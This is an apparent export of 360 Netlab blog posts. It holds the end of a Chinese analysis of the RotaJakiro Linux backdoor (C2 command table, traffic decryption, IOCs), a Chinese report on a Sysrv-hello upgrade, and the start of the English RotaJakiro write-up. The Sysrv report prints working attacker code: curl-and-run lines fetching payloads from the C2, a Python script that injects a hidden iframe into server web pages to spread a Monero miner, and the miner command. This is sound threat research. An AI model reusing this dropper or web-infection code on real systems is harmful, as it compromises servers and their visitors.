/>\n\n\n\n\n\n\n\n\n\n\n### Stage 2：具体业务\n\n通过以下代码片段接收并执行C2下发的指令：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_stage2.png\" width=\"860px\" />\n\n目前RotaJakiro一共支持12条指令，指令码与功能的对应关系如下表所示：\n| CmdId | Function |\n| --------- | ------------------------- |\n| 0x138E3E6 | Exit |\n| 0x208307A | Test |\n| 0x5CCA727 | Heartbeat |\n| 0x17B1CC4 | Set C2 timeout time |\n| 0x25360EA | Streal Senstive Info |\n| 0x18320e0 | Upload Device Info |\n| 0x2E25992 | Deliver File/Plugin |\n| 0x2CD9070 | Query File/Plugin Status |\n| 0x12B3629 | Delete File/Plugin Or Dir |\n| 0x1B25503 | Run Plugin_0x39C93E |\n| 0x1532E65 | Run Plugin_0x75A7A2 |\n| 0x25D5082 | Run Plugin_0x536D01 |\n\n其中```Run Plugin```功能复用相同的代码，通过以下逻辑实现函数调用：\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_plugin.png\" width=\"860px\" />\n\n我们目前被没有捕获到这类payload，因此用Plugin_“参数”的形式来表示不同的任务。\n\nRotaJakiro的网络通信包如下图所示，由```head，key，payload```三部分组成，其中header是必须的，长度为82字节，而body&payload部分是可选的。head&key采用的XOR&Rotate加密，payload采用AES&ZLIB加密压缩。\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_packet.png\" width=\"860px\" />\n下面我们将通过BOT与C2的一轮交互，来说明网络流量```head&key&payload```的组成以及解密过程。\n\n### C2 -> BOT\n\n\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_cmd.png\" width=\"860px\" />\n\n读取前0x52字节，就是head的内容。head如何解密呢？方法很简单，```逐字节左移3位，然后和0x1b异或```即可，解密后得下以内容：\n\n```\n00000000 16 11 10 b9 03 b1 0c fb 04 20 00 00 00 08 00 e0 |...¹.±.û. .....à|\n00000010 20 83 01 c2 20 64 20 01 e2 00 00 00 00 c2 0c 00 | .. d .â....Â..|\n00000020 00 00 32 42 36 39 33 33 34 46 38 34 31 44 30 44 |..2B69334F841D0D|\n00000030 39 46 41 30 36 35 38 45 43 33 45 32 39 46 41 44 |9FA0658EC3E29FAD|\n00000040 34 39 c8 53 e6 9c 48 c4 8b 77 24 2e 02 1c 96 d9 |49ÈSæ.HÄ.w$....Ù|\n00000050 81 28\n------------filed parse------------------\noffset 0x09, 4 bytes--->payload length\noffset 0x0d, 2 bytes--->body length\noffset ox0f, 4 bytes--->cmdid\n```\n\n通过字段解析，可知key的长度为0x8字节，payload的长度为0x20字节，要执行的指令码为0x18320e0，即上报设备信息。\n\n从偏移0x52读取8字节就得到了key```ea 9a 1a 18 18 44 26 a0```，使用和head一样的解密方法，得到```4c cf cb db db 39 2a 1e```，它是作为AES的密钥来解密payload。\n\n从偏移0x5a读取32字节，就得到了下面的payload：\n\n```\n54 c1 c3 69 00 18 31 e4 a2 5b 10 7f 67 ab d1 4b \nb2 7b 3d 3f b3 bc 66 6a 26 f6 f6 b3 f7 2e 66 6d\n```\n\n使用解密后的key做为AES-256的密钥，以CBC模式解密以上数据得下以下内容：\n\n```\n3b c7 f8 9b 73 2b d1 04 78 9c e3 60 60 60 d8 df d9 c1 71 56 f7 6f 00 00 13 80 04 28\n```\n\n第8字节起即为```ZLIB```压缩数据，解压得到如下内容：\n\n```\n08 00 00 00 bf 89 88 08 cd 2d fd 50\n------------filed parse------------------\noffset 0, 4 bytes--->length\n```\n解压后的payload有什么用呢？它是做为**新的AES密钥，用来解密部分敏感资源信息**。\n例如Bot在收集设备信息时，有一项是当前操作系统发行版本的信息，它是通过```cat /etc/*release | uniq```命令实现的。\n```\nroot@debian:~# cat /etc/*release | uniq\nPRETTY_NAME=\"Debian GNU/Linux 9 (stretch)\"\nNAME=\"Debian GNU/Linux\"\nVERSION_ID=\"9\"\nVERSION=\"9 (stretch)\"\nID=debian\nHOME_URL=\"https://www.debian.org/\"\nSUPPORT_URL=\"https://www.debian.org/support\"\nBUG_REPORT_URL=\"https://bugs.debian.org/\"\n```\n```cat /etc/*release | uniq```这条命令正是以下密文通过新的AES密钥配合下图中的参数解密而来。\n\n```\ncmd ciphertxt\n---------------------------\n74 00 dd 79 e6 1e aa bb 99 81 7e ca d9 21 6b 81 \n6b d9 9d 14 45 73 6a 1c 61 cc 28 a3 0f 2b 41 5a \n6b 33 8c 37 25 89 47 05 44 7e f0 6b 17 70 d8 ca\n```\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_paykey.png\" width=\"860px\" />\n\n### Bot -> C2\n\n当BOT接收到C2的“上报设备信息”指令后，会向C2发送以下数据，可以看出key部分的值依然是```ea 9a 1a 18 18 44 26 a0```。\n\n\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_payload.png\" width=\"860px\" />\n\n从上文已知解密后key值为```4c cf cb db db 39 2a 1e```，通过这个值将Bot发往C2的payload解密解压后，得到如下数据，正是设备的各种信息，其中有前文提到的通过```cat /etc/*release | uniq```获取的信息，验证了我们的分析是正确的。\n\n\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_device-1.png\" width=\"860px\" />\n\n\n\n## 与Torii Botnet团伙的关系\n\nTorii僵尸网络于2018年9月20日被友商Avast曝光，对比RotaJakiro，俩者的相似之处体现在以下3方面：\n\n### 1：字符串相似性\n\nRotaJakiro&Torii的敏感资源解密后，我们发现它们复用了大量相同的命令。\n\n```\n1：semanage fcontext -a -t bin_t '%s' && restorecon '%s'\n2：which semanage\n3：cat /etc/*release \n4：cat /etc/issue\n5：systemctl enable\n6：initctl start\n...\n```\n\n### 2：流量相似性\n\n在构造流量的过程中，大量使用常数，构造方式非常接近。\n\n\n<img src=\"__GHOST_URL__/content/images/2021/04/jak_compare.png\" width=\"860px\" />\n\n### 3：功能相似性\n\n从安全研究人员进行逆向工程的角度来说，RotaJakiro&Torii有着相常相似的风格：使用加密算法隐藏敏感资源，都实现了相当old-school式的持久化，结构化的网络流量等。\n\n基于这些考量，我们推测RotaJakiro和Torii出自同一个团伙之手。\n\n\n## 冰山一角\n至此RotaJakiro的逆向与溯源告一段落，但真正的工作远没结束，有许多问题依然没有答案：“RotaJakiro是怎么传播的,它的目的是什么？”，“RotaJakiro是否有特定的攻击目标，是不是APT？”，“RotaJakiro与Torii背后的黑手是谁？”......由于我们的视野有限，目前只能向安全社区分享这么多。如果社区有相关的线索，欢迎与我们联系，让我们一起```Make Cyber Security Great Again```。\n\n\n## 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n## IOC \n\nSample MD5\n\n```\n1d45cd2c1283f927940c099b8fab593b\n11ad1e9b74b144d564825d65d7fb37d6\n5c0f375e92f551e8f2321b141c15c48f\n64f6cfe44ba08b0babdd3904233c4857\n```\n\nC2\n\n```\nnews.thaprior.net:443\nblog.eduelects.com:443\ncdn.mirror-codes.net:443\nstatus.sublineover.net:443\n```\n\nIP\n```\n176.107.176.16 Ukraine|Kiev|Unknown 42331|PE_Freehost\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 607c2533d0d9b7000712cdfb |
post | null | 2021-04-28T02:03:58.000Z | 63873b9a8b1c1e0007f52fb7 | wei-xie-kuai-xun-z0miner-zheng-zai-li-yong-elasticsearch-he-jenkins-lou-dong-da-si-chuan-bo | 0 | 2021-07-08T02:31:56.000Z | public | published | null | 2021-04-28T13:38:20.000Z | 威胁快讯：Sysrv-hello再次升级，通过感染网页文件提高传播能力 | <!--kg-card-begin: markdown--><h2 id="">版权</h2>
<p>版权声明: 本文为Netlab原创，依据 <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0 </a>许可证进行授权，转载请附上出处链接及本声明。</p>
<h2 id="">概述</h2>
<p>从去年末到现在，挖矿类型的botnet家族一直活跃，除了新家族不断出现，一些老家族也频繁升级，主要是为了提高传播能力和隐蔽性，我们的 BotMon 系统对此多有检测<a href="__GHOST_URL__/rinfojuan-tu-zhong-lai-zheng-zai-feng-kuang-sao-miao-he-wa-kuang/">[rinfo]</a><a href="__GHOST_URL__/fast-analyze-z0miner/">[z0miner]</a>。最新的案例来自<a href="https://help.aliyun.com/document_detail/196163.html">Sysrv-hello</a>，本来近期已经有2家安全公司先后分析过该家族的新变种<a href="https://blogs.juniper.net/en-us/threat-research/sysrv-botnet-expands-and-gains-persistence">[1]</a><a href="https://www.lacework.com/sysrv-hello-expands-infrastructure/">[2]</a>，但文章刚出来sysrv的作者就在4月20号再次进行升级，增加了感染网页的能力，本文对此做一分析。</p>
<h2 id="apybrowserupdateexe">新模块a.py和BrowserUpdate.exe</h2>
<p>我们知道sysrv能同时感染Linux和Windows系统，其入口为一个脚本文件，Linux下为bash脚本，最常见的文件名是<a href="https://help.aliyun.com/document_detail/196163.html">ldr.sh</a>，Windows下为PowerShell脚本ldr.ps1，这次升级只在ldr.sh中检测到，bash脚本中添加了如下代码：</p>
<pre><code>curl $cc/BrowserUpdate.exe > /tmp/BrowserUpdate.exe
curl $cc/a.py > /tmp/a.py
python /tmp/a.py &
nohup python /tmp/a.py 1>/dev/null 2>&1 &
</code></pre>
<p>能看到加了2个新模块：a.py和BrowserUpdate.exe，其中a.py会被ldr.sh直接执行。</p>
<p>分析下载回来的a.py文件发现其为一个Python程序，体积并不大，代码只有20行：</p>
<pre><code>import os
d = "<iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>"
for _dir in ["/var", "/usr/local", "/home", "/opt"]:
for root, dirs, files in os.walk(_dir):
for i in files:
path = os.path.join(root, i)
if os.path.splitext(path)[1] not in [".html", ".php", ".htm", ".jsp", ".asp", ".tpl"]:
continue
try:
with open(path) as f:
data = f.read()
if (d in data) or ("<head>" not in data):
continue
with open(path, "w") as f:
f.write(data.replace("<head>", "<head>"+d))#+'<script async="async" src="//bmst.pw/6034003x100.js"></script>'))
except:
continue
dst = os.path.join(root, "BrowserUpdate.exe")
os.system("cp -rf /tmp/BrowserUpdate.exe '%s'" % dst)
os.system("rm -rf /tmp/BrowserUpdate.exe")
</code></pre>
<p>这段代码的功能是遍历<code>"/var"、"/usr/local"、"/home"</code>和<code>"/opt"</code>目录，寻找具有<code>".html"、".php"、".htm"、".jsp"、".asp"</code>或者<code>".tpl"</code>后缀的网页文件，找到后就在其中插入一段iframe代码：</p>
<pre><code><head><iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>
</code></pre>
<p>这样，如果有人访问修改后的网页，那么就会下载并有可能执行BrowserUpdate.exe，所以a.py的功能其实就是通过篡改网页来传播BrowserUpdate.exe，下面再来看看这个exe程序为何物。</p>
<p>BrowserUpdate.exe是一个PE32程序，加了UPX壳，VT扫描结果显示它是<a href="https://www.virustotal.com/gui/file/59df8a62108bbf3120e6699e616417f393aefaf0574b1fd1ae2bcb7802d543da/detection">CoinMiner</a>类型的恶意程序，该exe运行后会释放2个64位的PE文件：</p>
<pre><code>CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\ModuleInstaller.exe", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)
CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\WinRing0x64.sys", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)
</code></pre>
<p>然后BrowserUpdate.exe会通过如下命令运行释放的程序：</p>
<pre><code>cmd /c \"%TEMP%\\ModuleInstaller.exe\" --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo
</code></pre>
<p>上面的命令包含了矿池和钱包信息，目的是启动挖矿行为，所释放的exe和sys其实正好是一组<a href="https://github.com/xmrig/xmrig">xmrig套件</a>，其中ModuleInstaller.exe为主程序，会加载WinRing0x64.sys驱动，对它们业界早有<a href="https://www.virustotal.com/gui/file/a2f3ecd329d2713855257bf922b8a092cbb1193327ba197351804275286df7dd/detection">分析</a>，这里不再赘述。</p>
<h2 id="">总结</h2>
<p>通过上面的分析不难看出，Sysrv-hello的这次升级主要是为了提高传播能力，通过Linux服务器间接感染Windows机器: 如果被ldr.sh感染的Linux机器为WEB服务器，不但该机器自身会沦为矿工，其上的网页文件也会被篡改，所有访问该服务器的Windows机器都有感染BrowserUpdate.exe并沦为Sysrv-hello矿工的风险。</p>
<p>考虑到sysrv已经多次升级，我们预计这次升级也只是中间一环而已，后面应该还会有新的动作，对此我们会保持关注，有新的进展将会及时公布。</p>
<h2 id="">联系我们</h2>
<p>感兴趣的读者，可以通过<a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>或者邮件netlab[at]360.cn联系我们。</p>
<h2 id="ioc">IoC</h2>
<h3 id="md5">MD5</h3>
<pre><code>833822feda97936d690ff6b983ad1a87 ldr.sh
645647171d92e1fe289b63bbd2f2db86 a.py
048aa5b804cde0768111c633e0faa028 BrowserUpdate.exe
a7013a2c7fd3a6168a7c0d9eed825c32 MODULEINSTALLER.EXE
0c0195c48b6b8582fa6f6373032118da WINRING0X64.SYS
</code></pre>
<h3 id="url">URL</h3>
<pre><code>http://194.145.227.21/ldr.sh
http://194.145.227.21/a.py
http://194.145.227.21/BrowserUpdate.exe
http://194.145.227.21/sys.i686
</code></pre>
<h3 id="">矿池和钱包</h3>
<pre><code>矿池: xmr-eu2.nanopool.org:14444
钱包：41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo
</code></pre>
<!--kg-card-end: markdown--> | 版权
版权声明: 本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。
概述
从去年末到现在，挖矿类型的botnet家族一直活跃，除了新家族不断出现，一些老家族也频繁升级，主要是为了提高传播能力和隐蔽性，我们的 BotMon 系统对此多有检测[rinfo][z0miner]。最新的案例来自Sysrv-hello，本来近期已经有2家安全公司先后分析过该家族的新变种[1][2]，但文章刚出来sysrv的作者就在4月20号再次进行升级，增加了感染网页的能力，本文对此做一分析。
新模块a.py和BrowserUpdate.exe
我们知道sysrv能同时感染Linux和Windows系统，其入口为一个脚本文件，Linux下为bash脚本，最常见的文件名是ldr.sh，Windows下为PowerShell脚本ldr.ps1，这次升级只在ldr.sh中检测到，bash脚本中添加了如下代码：
curl $cc/BrowserUpdate.exe > /tmp/BrowserUpdate.exe
curl $cc/a.py > /tmp/a.py
python /tmp/a.py &
nohup python /tmp/a.py 1>/dev/null 2>&1 &
能看到加了2个新模块：a.py和BrowserUpdate.exe，其中a.py会被ldr.sh直接执行。
分析下载回来的a.py文件发现其为一个Python程序，体积并不大，代码只有20行：
import os
d = "<iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>"
for _dir in ["/var", "/usr/local", "/home", "/opt"]:
for root, dirs, files in os.walk(_dir):
for i in files:
path = os.path.join(root, i)
if os.path.splitext(path)[1] not in [".html", ".php", ".htm", ".jsp", ".asp", ".tpl"]:
continue
try:
with open(path) as f:
data = f.read()
if (d in data) or ("<head>" not in data):
continue
with open(path, "w") as f:
f.write(data.replace("<head>", "<head>"+d))#+'<script async="async" src="//bmst.pw/6034003x100.js"></script>'))
except:
continue
dst = os.path.join(root, "BrowserUpdate.exe")
os.system("cp -rf /tmp/BrowserUpdate.exe '%s'" % dst)
os.system("rm -rf /tmp/BrowserUpdate.exe")
这段代码的功能是遍历"/var"、"/usr/local"、"/home"和"/opt"目录，寻找具有".html"、".php"、".htm"、".jsp"、".asp"或者".tpl"后缀的网页文件，找到后就在其中插入一段iframe代码：
<head><iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>
这样，如果有人访问修改后的网页，那么就会下载并有可能执行BrowserUpdate.exe，所以a.py的功能其实就是通过篡改网页来传播BrowserUpdate.exe，下面再来看看这个exe程序为何物。
BrowserUpdate.exe是一个PE32程序，加了UPX壳，VT扫描结果显示它是CoinMiner类型的恶意程序，该exe运行后会释放2个64位的PE文件：
CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\ModuleInstaller.exe", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)
CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\WinRing0x64.sys", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)
然后BrowserUpdate.exe会通过如下命令运行释放的程序：
cmd /c \"%TEMP%\\ModuleInstaller.exe\" --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo
上面的命令包含了矿池和钱包信息，目的是启动挖矿行为，所释放的exe和sys其实正好是一组xmrig套件，其中ModuleInstaller.exe为主程序，会加载WinRing0x64.sys驱动，对它们业界早有分析，这里不再赘述。
总结
通过上面的分析不难看出，Sysrv-hello的这次升级主要是为了提高传播能力，通过Linux服务器间接感染Windows机器: 如果被ldr.sh感染的Linux机器为WEB服务器，不但该机器自身会沦为矿工，其上的网页文件也会被篡改，所有访问该服务器的Windows机器都有感染BrowserUpdate.exe并沦为Sysrv-hello矿工的风险。
考虑到sysrv已经多次升级，我们预计这次升级也只是中间一环而已，后面应该还会有新的动作，对此我们会保持关注，有新的进展将会及时公布。
联系我们
感兴趣的读者，可以通过twitter或者邮件netlab[at]360.cn联系我们。
IoC
MD5
833822feda97936d690ff6b983ad1a87 ldr.sh
645647171d92e1fe289b63bbd2f2db86 a.py
048aa5b804cde0768111c633e0faa028 BrowserUpdate.exe
a7013a2c7fd3a6168a7c0d9eed825c32 MODULEINSTALLER.EXE
0c0195c48b6b8582fa6f6373032118da WINRING0X64.SYS
URL
http://194.145.227.21/ldr.sh
http://194.145.227.21/a.py
http://194.145.227.21/BrowserUpdate.exe
http://194.145.227.21/sys.i686
矿池和钱包
矿池: xmr-eu2.nanopool.org:14444
钱包：41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"##版权\n版权声明: 本文为Netlab原创，依据 [CC BY-SA 4.0 ](https://creativecommons.org/licenses/by-sa/4.0/)许可证进行授权，转载请附上出处链接及本声明。\n##概述\n从去年末到现在，挖矿类型的botnet家族一直活跃，除了新家族不断出现，一些老家族也频繁升级，主要是为了提高传播能力和隐蔽性，我们的 BotMon 系统对此多有检测[[rinfo]](__GHOST_URL__/rinfojuan-tu-zhong-lai-zheng-zai-feng-kuang-sao-miao-he-wa-kuang/)[[z0miner]](__GHOST_URL__/fast-analyze-z0miner/)。最新的案例来自[Sysrv-hello](https://help.aliyun.com/document_detail/196163.html)，本来近期已经有2家安全公司先后分析过该家族的新变种[[1]](https://blogs.juniper.net/en-us/threat-research/sysrv-botnet-expands-and-gains-persistence)[[2]]( https://www.lacework.com/sysrv-hello-expands-infrastructure/)，但文章刚出来sysrv的作者就在4月20号再次进行升级，增加了感染网页的能力，本文对此做一分析。\n\n##新模块a.py和BrowserUpdate.exe\n我们知道sysrv能同时感染Linux和Windows系统，其入口为一个脚本文件，Linux下为bash脚本，最常见的文件名是[ldr.sh](https://help.aliyun.com/document_detail/196163.html)，Windows下为PowerShell脚本ldr.ps1，这次升级只在ldr.sh中检测到，bash脚本中添加了如下代码：\n```\ncurl $cc/BrowserUpdate.exe > /tmp/BrowserUpdate.exe\ncurl $cc/a.py > /tmp/a.py\npython /tmp/a.py &\nnohup python /tmp/a.py 1>/dev/null 2>&1 &\n```\n能看到加了2个新模块：a.py和BrowserUpdate.exe，其中a.py会被ldr.sh直接执行。\n\n分析下载回来的a.py文件发现其为一个Python程序，体积并不大，代码只有20行：\n```\nimport os\nd = \"<iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>\"\nfor _dir in [\"/var\", \"/usr/local\", \"/home\", \"/opt\"]:\n for root, dirs, files in os.walk(_dir):\n for i in files:\n path = os.path.join(root, i)\n if os.path.splitext(path)[1] not in [\".html\", \".php\", \".htm\", \".jsp\", \".asp\", \".tpl\"]:\n continue\n try:\n with open(path) as f:\n data = f.read()\n if (d in data) or (\"<head>\" not in data):\n continue\n with open(path, \"w\") as f:\n f.write(data.replace(\"<head>\", \"<head>\"+d))#+'<script async=\"async\" src=\"//bmst.pw/6034003x100.js\"></script>'))\n except:\n continue\n dst = os.path.join(root, \"BrowserUpdate.exe\")\n os.system(\"cp -rf /tmp/BrowserUpdate.exe '%s'\" % dst)\nos.system(\"rm -rf /tmp/BrowserUpdate.exe\")\n```\n这段代码的功能是遍历```\"/var\"、\"/usr/local\"、\"/home\"```和```\"/opt\"```目录，寻找具有```\".html\"、\".php\"、\".htm\"、\".jsp\"、\".asp\"```或者```\".tpl\"```后缀的网页文件，找到后就在其中插入一段iframe代码：\n```\n<head><iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>\n```\n这样，如果有人访问修改后的网页，那么就会下载并有可能执行BrowserUpdate.exe，所以a.py的功能其实就是通过篡改网页来传播BrowserUpdate.exe，下面再来看看这个exe程序为何物。\n\nBrowserUpdate.exe是一个PE32程序，加了UPX壳，VT扫描结果显示它是[CoinMiner](https://www.virustotal.com/gui/file/59df8a62108bbf3120e6699e616417f393aefaf0574b1fd1ae2bcb7802d543da/detection)类型的恶意程序，该exe运行后会释放2个64位的PE文件：\n```\nCreateFileW(\"C:\\\\DOCUME~1\\\\ADMINI~1\\\\LOCALS~1\\\\Temp\\\\ModuleInstaller.exe\", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)\nCreateFileW(\"C:\\\\DOCUME~1\\\\ADMINI~1\\\\LOCALS~1\\\\Temp\\\\WinRing0x64.sys\", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)\n```\n\n然后BrowserUpdate.exe会通过如下命令运行释放的程序：\n```\ncmd /c \\\"%TEMP%\\\\ModuleInstaller.exe\\\" --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo\n```\n\n上面的命令包含了矿池和钱包信息，目的是启动挖矿行为，所释放的exe和sys其实正好是一组[xmrig套件](https://github.com/xmrig/xmrig)，其中ModuleInstaller.exe为主程序，会加载WinRing0x64.sys驱动，对它们业界早有[分析](https://www.virustotal.com/gui/file/a2f3ecd329d2713855257bf922b8a092cbb1193327ba197351804275286df7dd/detection)，这里不再赘述。\n\n##总结\n通过上面的分析不难看出，Sysrv-hello的这次升级主要是为了提高传播能力，通过Linux服务器间接感染Windows机器: 如果被ldr.sh感染的Linux机器为WEB服务器，不但该机器自身会沦为矿工，其上的网页文件也会被篡改，所有访问该服务器的Windows机器都有感染BrowserUpdate.exe并沦为Sysrv-hello矿工的风险。\n\n考虑到sysrv已经多次升级，我们预计这次升级也只是中间一环而已，后面应该还会有新的动作，对此我们会保持关注，有新的进展将会及时公布。\n\n##联系我们\n感兴趣的读者，可以通过[**twitter**](https://twitter.com/360Netlab)或者邮件netlab[at]360.cn联系我们。\n##IoC\n###MD5\n```\n833822feda97936d690ff6b983ad1a87 ldr.sh\n645647171d92e1fe289b63bbd2f2db86 a.py\n048aa5b804cde0768111c633e0faa028 BrowserUpdate.exe\na7013a2c7fd3a6168a7c0d9eed825c32 MODULEINSTALLER.EXE\n0c0195c48b6b8582fa6f6373032118da WINRING0X64.SYS\n```\n###URL\n```\nhttp://194.145.227.21/ldr.sh\nhttp://194.145.227.21/a.py\nhttp://194.145.227.21/BrowserUpdate.exe\nhttp://194.145.227.21/sys.i686\n```\n\n###矿池和钱包\n```\n矿池: xmr-eu2.nanopool.org:14444\n钱包：41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 6088c28e3819e5000763355a |
post | null | 2021-04-28T02:55:09.000Z | 63873b9a8b1c1e0007f52fb8 | stealth_rotajakiro_backdoor_en | 0 | 2021-04-29T06:11:11.000Z | public | published | null | 2021-04-28T13:29:37.000Z | RotaJakiro: A long live secret backdoor with 0 VT detection | <!--kg-card-begin: markdown--><h2 id="overview">Overview</h2>
<p>On March 25, 2021, 360 NETLAB's BotMon system flagged a suspiciousELF file (MD5=64f6cfe44ba08b0babdd3904233c4857) with 0 VT detection, the sample communicates with 4 domains on TCP 443 (HTTPS), but the traffic is not of TLS/SSL. A close look at the sample revealed it to be a <strong>backdoor</strong> targeting Linux X64 systems, a family that has been around for <strong>at least 3 years</strong>.</p>
<p>We named it <strong>RotaJakiro</strong> based on the fact that the family uses rotate encryption and behaves differently for <code>root/non-root accounts</code> when executing.</p>
<p><code>RotaJakiro</code> pays quite some attention to hide its trails, using multiple of encryption algorithms, including: the use of AES algorithm to encrypt the resource information within the sample; C2 communication using a combination of <code>AES, XOR, ROTATE encryption</code> and <code>ZLIB compression</code>.</p>
<p><code>RotaJakiro</code> supports a total of 12 functions, three of which are related to the execution of specific Plugins. Unfortunately, we have no visibilityto the plugins, and therefore do not know its true purpose. From a broad backdoor perspective, the functions can be grouped into the following four categories.</p>
<ul>
<li>Reporting device information</li>
<li>Stealing sensitive information</li>
<li>File/Plugin management (query, download, delete)</li>
<li>Execution of specific Plugin</li>
</ul>
<h2 id="anymoreoutthere">Any more out there?</h2>
<p>With the sample we have, we discovered the following 4 samples, all of which have 0 detections on VT, and the earliest First Seen time on VT is in 2018.</p>
<table>
<thead>
<tr>
<th>FileName</th>
<th>MD5</th>
<th>Detection</th>
<th>First Seen in VT</th>
</tr>
</thead>
<tbody>
<tr>
<td>systemd-daemon</td>
<td>1d45cd2c1283f927940c099b8fab593b</td>
<td>0/61</td>
<td>2018-05-16 04:22:59</td>
</tr>
<tr>
<td>systemd-daemon</td>
<td>11ad1e9b74b144d564825d65d7fb37d6</td>
<td>0/58</td>
<td>2018-12-25 08:02:05</td>
</tr>
<tr>
<td>systemd-daemon</td>
<td>5c0f375e92f551e8f2321b141c15c48f</td>
<td>0/56</td>
<td>2020-05-08 05:50:06</td>
</tr>
<tr>
<td>gvfsd-helper</td>
<td>64f6cfe44ba08b0babdd3904233c4857</td>
<td>0/61</td>
<td>2021-01-18 13:13:19</td>
</tr>
</tbody>
</table>
<p>These samples all have the following 4 C2s embedded. These 4 C2 domains have very close <code>Crteated,Updated and Expired</code> time, readers will notice that the crated data was in Dec 2015, 6 years ago.</p>
<table>
<thead>
<tr>
<th>Domain</th>
<th>Detection</th>
<th>Created</th>
<th>Last Updated</th>
<th>Expired</th>
</tr>
</thead>
<tbody>
<tr>
<td>news.thaprior.net</td>
<td>0/83</td>
<td>2015-12-09 06:24:13</td>
<td>2020-12-03 07:24:33</td>
<td>2021-12-09 06:24:13</td>
</tr>
<tr>
<td>blog.eduelects.com</td>
<td>0/83</td>
<td>2015-12-10 13:12:52</td>
<td>2020-12-03 07:24:33</td>
<td>2021-12-10 13:12:52</td>
</tr>
<tr>
<td>cdn.mirror-codes.net</td>
<td>0/83</td>
<td>2015-12-09 06:24:19</td>
<td>2020-12-03 07:24:32</td>
<td>2021-12-09 06:24:19</td>
</tr>
<tr>
<td>status.sublineover.net</td>
<td>0/83</td>
<td>2015-12-09 06:24:24</td>
<td>2020-12-03 07:24:32</td>
<td>2021-12-09 06:24:24</td>
</tr>
</tbody>
</table>
<h2 id="reverseanalysis">Reverse Analysis</h2>
<p>The 4 RotaJakiro samples, with time distribution from 2018 to 2021, are very close to their functions, and the 2021 sample is selected for analysis in this blog, which has the following basic information:</p>
<pre><code>MD5:64f6cfe44ba08b0babdd3904233c4857
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped
Packer:No
</code></pre>
<p><code>At the coding level</code>, RotaJakiro uses techniques such as dynamic AES, double-layer encrypted communication protocols to counteract the binary & network traffic analysis.<br>
<code>At the functional level</code>, RotaJakiro first determines whether the user is root or non-root at run time, with different execution policies for different accounts, then decrypts the relevant sensitive resources using AES& ROTATE for subsequent <code>persistence</code>, <code>process guarding</code> and <code>single instance</code> use, and finally establishes communication with C2 and waits for the execution of commands issued by C2.</p>
<p>The following will analyze the specific implementation of RotaJakiro from the above perspective.</p>
<h2 id="0x00tricksusedbythesample">0x00: Tricks used by the sample</h2>
<ul>
<li>Dynamically generate a table of constants required by the AES encryption algorithm to prevent the algorithm from being directly identified<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_dynaes.png" width="860px" /></li>
<li>Use stack strings obfuscation technique to store encrypted sensitive resource information<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_stack.png" width="860px" /></li>
<li>Network communication using double layer encryption</li>
</ul>
<h2 id="0x01encryptionalgorithm">0x01: Encryption algorithm</h2>
<p>All sensitive resources in RotaJakiro are encrypted, and in IDA we can see that the decryption method <strong>dec_proc</strong> is called 60 times, which is composed of AES and Rotate.<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_dec.png" width="860px" /><br>
The AES decryption entry is as follows:<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_aes.png" width="860px" /><br>
Where <code>aes_dec</code> is AES-256, CBC mode, key&iv are hardcoded.</p>
